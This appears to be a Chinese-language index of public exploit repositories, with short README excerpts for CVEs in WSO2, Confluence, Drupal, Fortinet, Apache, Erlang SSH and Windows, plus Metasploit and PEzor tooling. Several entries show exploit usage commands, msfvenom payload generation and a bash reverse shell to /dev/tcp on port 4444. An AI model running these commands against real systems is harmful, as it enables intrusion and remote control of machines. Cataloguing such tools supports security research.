CVE-2022-29464

CVE-2022-29464 WSO2 远程代码执行 CVE-2022-29464 使用方法 • 此漏洞利用仅适用于多个目标 python3 exploit.py --file urls.txt 参考 https://github.com/hakivvi/CVE-2022-29464...

CVE-2022-0847

DirtyPipe 针对DirtyPipe漏洞的利用程序，由Max Kellermann编写并发现 - https://dirtypipe.cm4all.com/ POC...

CVE-2021-26084_Confluence

CVE-2021-26084Confluence Explotar CVE 2021 26084 Confluence dock0d1@arch$ python rce.py...

CVE-2022-24637

CVE-2022-24637 CVE-2022-24637 的已修复漏洞利用 原始 xplt: https://www.exploit-db.com/exploits/51026...

CVE-2018-13379-Fortinet

CVE-2018-13379-Fortinet FortiVuln...

CVE-2018-15982_EXP

CVE-2018-15982EXP 用法 msfvenom -p windows/exec cmd=notepad.exe -f raw 86.bin msfvenom -p windows/x64/exec cmd=notepad.exe -f raw 64.bin python CVE201815982.py -i 86.bin -I 64.bin 输出 exp.swf 和 index.html。 演示 https://twitter.com/Evi1cg/status/1071284773169950721...

CVE-2017-0038-EXP-C-JS

CVE-2017-0038-EXP-C-JS 详细漏洞分析和Exploit编写过程已经发表在安全客上： http://bobao.360.cn/learning/detail/3644.html C Exploit中，少一个printf打印最后的color数组，可以自行添加，也可直接用debug调试观察内存泄露 JS Exploit已经更新一个可以直接打印bitmap的版本...

node-cve-2018-4407

node-cve-2018-4407 针对 CVE-2018-4407 的 Node.js PoC 利用代码 作者：Sam Decrock 该脚本基于 Zuk 提供的 scapy 脚本： iOS 12 / OS X 远程内核堆溢出 CVE-2018-4407 POC 在一则推文中： pip install scapy sudo scapy sendIPdst="Target IP",options=IPOption"A"8/TCPdport=2323,options=19, "1"18,19, "2"18 — Zuk @ihackbanme 2018年11月1日 它会导致运行 iOS 1...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2018-7600-Drupal-RCE

CVE-2018-7600 Drupal远程代码执行 感谢以下贡献者： 文件| Drupal版本| 来源| 备注 ---|---|---|--- poc0-curl.sh| 8| https://twitter.com/ibo0om/status/984674893768921089 https://twitter.com/IamSecurity/status/984977193565646848 https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708| poc1-a2u.py| 8|...

CVE-2023-23752

CVE-2023-23752 Joomla! v4.2.8 - 未授权信息泄露 要执行此脚本，我们需要安装几个缺少的 gem： sudo gem install httpx sudo gem install docopt sudo gem install paint ruby exploit.rb http://dev.devvortex.htb...

CVE-2025-5548

💣 漏洞利用开发 - 缓冲区溢出 本仓库记录了 缓冲区溢出 类型漏洞的完整利用过程，遵循从初始分析到控制执行流程的结构化方法论。 🎯 目标 此阶段的目标是开发一个可用的漏洞利用程序，重定向易受攻击程序的执行流程，并为任意代码执行奠定基础。 🧭 漏洞利用方法论 以下详细说明了该过程所遵循的步骤： 🔍 步骤 1 - 二进制静态分析（IDA Free） 使用逆向工程工具分析二进制文件，以了解： 程序结构 相关函数 可能的漏洞点 📁步骤1-使用IDAFree进行二进制静态分析 🧪 步骤 2 - 模糊测试 向程序发送畸形输入以触发受控崩溃，并确认漏洞的存在。 识别故障点 验证意外行为 📁...

msfconsole-termux

msfconsole-termux 如何在 Android Termux 上安装 Metasploit-Table pkg update apt-get install curl wget -y wget https://raw.githubusercontent.com/jas502n/msfconsole-termux/master/metasploit.sh |chmod 777 metasploit.sh && ./metasploit.sh 示例 msfconsole -q -x "use exploit/windows/smb/ms17010eternalblue;set...

Exploit-FortinetMagicBackdoor

此存储库没有 README。...

CVE-2022-1388

CVE-2022-1388...

exploit-apache2-cve-2021-41773

Apache2 漏洞利用 Apache 路径遍历漏洞的利用程序。 版本: 2.4.49 CVE: CVE-2021-41773 拉取 docker 镜像 docker pull httpd:2.4.49-alpine 配置 apache 在 /usr/local/apache2/conf/httpd.conf 中替换以下条目 AllowOverride none - Require all denied + Require all denied - LoadModule cgimodule modules/modcgi.so + LoadModule cgimodule...

SharpPolarBear

SharpPolarBear 这是 SandboxEscaper 在此处（https://github.com/SandboxEscaper/polarbearrepo）发布的其中一个漏洞的武器化版本。 大部分代码来自 rasta-mouse 的 CollectorService 仓库（https://github.com/rasta-mouse/CollectorService）。我只是将原始 SandboxEscaper C++ 代码中的 CVE-2019-0841 漏洞代码改为了 C，并添加了一些检查。 我还加入了所需的二进制文件（schtasks.exe、schedsvc.dll...

cve-2016-0095-x64

cve-2016-0095-x64 windows 7 Ultimate Ultimate x64 poc of cve-2016-0095MS16-034 菜鸡开始学习cve,参考：https://whereisk0shl.top/ssctfpwn450windowskernelexploitationwriteup.html 一文, 以及k0shl大佬的https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup 代码。改的x64的版本,从x86改成x64没啥技术含量。...

CVE-2020-3452

CVE-2020-3452 TL;DR 这是一个针对 CVE-2020-3452 的漏洞利用程序。它尚未完全完成。请在合法范围内使用。如果你搞砸了，那是你的问题。 这是什么？ 这是一个快速且粗糙的尝试，旨在增强 CVE-2020-3452 的原始 PoC。 目前，它只是一个简单的 Python 脚本，功能与原始脚本完全相同。 免责声明 本软件按“原样”提供，不提供任何明示或暗示的担保，包括但不限于适销性、特定用途的适用性和不侵权的保证。在任何情况下，作者或版权持有人均不对因使用本软件或与本软件的使用或其他交易有关的任何索赔、损害或其他责任负责，无论是合同行为、侵权行为还是其他行为。 版权...

PEzor-Docker

PEzor-Docker 借助这个 Kali Linux 镜像，你可以轻松地在你的系统上使用 PEzor！ 基本上，这个镜像基于 kalilinux/kali-rolling 镜像构建，然后在其上安装了 PEzor shellcode 和 PE 打包器。有时，尤其是在后利用阶段，访问 PEzor 至关重要，但由于所需的依赖项，在主机或虚拟机上安装它是一项耗时的任务。因此，这个 Docker 镜像就是为了解决这个问题而创建的，并提供了一种快速访问 PEzor 的方式。 P.S. 这个出色的 PEzor 工具的所有功劳都归于 @phra 。 免责声明 此 Docker...